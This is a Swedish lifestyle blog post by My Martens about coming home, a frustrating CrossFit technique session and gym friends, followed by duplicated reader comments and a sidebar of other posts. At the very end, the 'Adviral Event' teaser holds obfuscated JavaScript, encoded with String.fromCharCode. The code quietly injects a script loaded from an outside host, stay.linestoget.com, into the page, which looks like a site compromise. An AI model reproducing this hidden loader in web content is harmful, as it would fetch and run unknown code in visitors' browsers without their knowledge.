Hemma igen….

37B94EB9-10E9-440D-BD32-2865F871E691

Heeeej! Vilken kontrast! Jonas hämtade mig på Arlanda igår. Sen åkte vi direkt till Bromma och hämtade Ludvig…, ❤️🙏🏻 jösses vilken vecka! Detta kommer jag att leva på länge 🙌🏻

Ni ska få fler uppdateringar…. Men denna helgen går jag offline. Jag började dagen med cardio medan Jonas och Ludvig sov…. ”Min” runda…. Så vackert, men ca 2 grader 😎 kontraster gårdagens 31!! 

9B49CF5F-40CC-40E3-B503-486501B07CD6 3932B69E-37F3-4AC0-AA5E-886FE63B79A7 C383A9D5-0190-4A93-86D9-EA51E4220C96

Nu har jag varit på Gymmet, Crossfit Atum. Jag har kört teknik med Ako….😅😝

Alltså dess pinn-j*vlar!!!! 5 lägen, små rörelser, om och om igen. Burpees vid misstag!

Blev så frustrerad att jag nästan grinade! 🤣🙈 Nu lägger jag i nästa växel. 100% fokus!

-Träning, kost, återhämtning!

(familj och jobb också såklart ❤️) 

34F9ADE2-F3BD-4176-AE23-569ED42AAB41

Elin och Didem var där… Så vi hade skrattfest och återföring 🤣 Ako tog bort stygnen från Elin😳😍haha! Underbara människor! 🤣

9EC76DDF-489B-477A-8778-D2F283023ABF

Vi hörs efter helgen….

/My Martens 

30 Komentarer

    • Men snälla du ….. vad är det för IQ på dig, som ställer en sådan fråga på nätet? Det fattar väl vem som helst att ingen skulle svara offentligt på! Med vanligt bondförnuft kommer man långt …. så vill man veta borde man söka info på ett annat sätt men är man bara ute efter att skicka något mindre sympatiskt typ osmart fråga, då gör man som du. Du är nog innerst inne snäll du också, så kram på dig!

  1. ”Så fort jag är hemma på svensk mark och tillbaka i vardagen så ska jag berätta vad jag hittat på?”
    Och?
    Allt för att få kommentarer…

    • Jag är inte tillbaka i vardagen… Jag ska ta några dagar att ”landa” och börja med några dagar offline med Lilleman….. så kommentera på du?

    • Varför hitta fel och klagomål. Må bra, ge positiv beröm , få beröm. Ge kritik oxå men konservativ kritik och låt onödigheter förbli osagda på dessa forum.
      Det är som att vilja hitta fel bara. Kram och trevlig helg ???

    • Men snälla du ….. vad är det för IQ på dig, som ställer en sådan fråga på nätet? Det fattar väl vem som helst att ingen skulle svara offentligt på! Med vanligt bondförnuft kommer man långt …. så vill man veta borde man söka info på ett annat sätt men är man bara ute efter att skicka något mindre sympatiskt typ osmart fråga, då gör man som du. Du är nog innerst inne snäll du också, så kram på dig!

  2. ”Så fort jag är hemma på svensk mark och tillbaka i vardagen så ska jag berätta vad jag hittat på😌”

    Och?

    Allt för att få kommentarer…

    • Jag är inte tillbaka i vardagen… Jag ska ta några dagar att ”landa” och börja med några dagar offline med Lilleman….. så kommentera på du😂

    • Varför hitta fel och klagomål. Må bra, ge positiv beröm , få beröm. Ge kritik oxå men konservativ kritik och låt onödigheter förbli osagda på dessa forum.
      Det är som att vilja hitta fel bara. Kram och trevlig helg 🌹😘💕

  3. Hej fina My! Var köpte du dina ragdolls? Har för mig att det var på Åland? Stämmer det?
    Har blivit änka, så skulle jättegärna vilja ha tips på uppfödare! Kram o strunta i otrevliga kommentarer. Du är en kvinna med stort K + att du har en kropp, som e få förunnat. Dessutom är du jättevacker. DETTA gör av kvinnor blir avis.???

    • Meeeeen så snällt skrivet! ??❤️ Tack? jag köpte mina på Ålamd. Jag ska skriva till min uppfödare och fråga henne om hon är aktiv…. beklagar att du blivit änka❤️?? En raggis är världens bästa sällskap ❤️ Stor kram

  4. Hej fina My! Var köpte du dina ragdolls? Har för mig att det var på Åland? Stämmer det?

    Har blivit änka, så skulle jättegärna vilja ha tips på uppfödare! Kram o strunta i otrevliga kommentarer. Du är en kvinna med stort K + att du har en kropp, som e få förunnat. Dessutom är du jättevacker. DETTA gör av kvinnor blir avis.👍👊🏻

    • Meeeeen så snällt skrivet! 🙏🏻❤️ Tack😌 jag köpte mina på Ålamd. Jag ska skriva till min uppfödare och fråga henne om hon är aktiv…. beklagar att du blivit änka❤️🙏🏻 En raggis är världens bästa sällskap ❤️ Stor kram

Svara

Lämna din kommentar!
Ditt namn här

Om du missat..

Andas ut stressen med hjälp av djupandning

Andas ut stressen med hjälp av djupandning -Hur många tänker egentligen på sin andning? Jag...

SMEG bagaren och kocken 20%

I reklamsamarbete Bagaren och Kocken ??‍? Hej på er! Detta är en grymt efterlängtad kampanj...

Adviral Event

My Martens , Ako Rahim. Adviral Media. d Ako, Renata, My   var f=String;+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/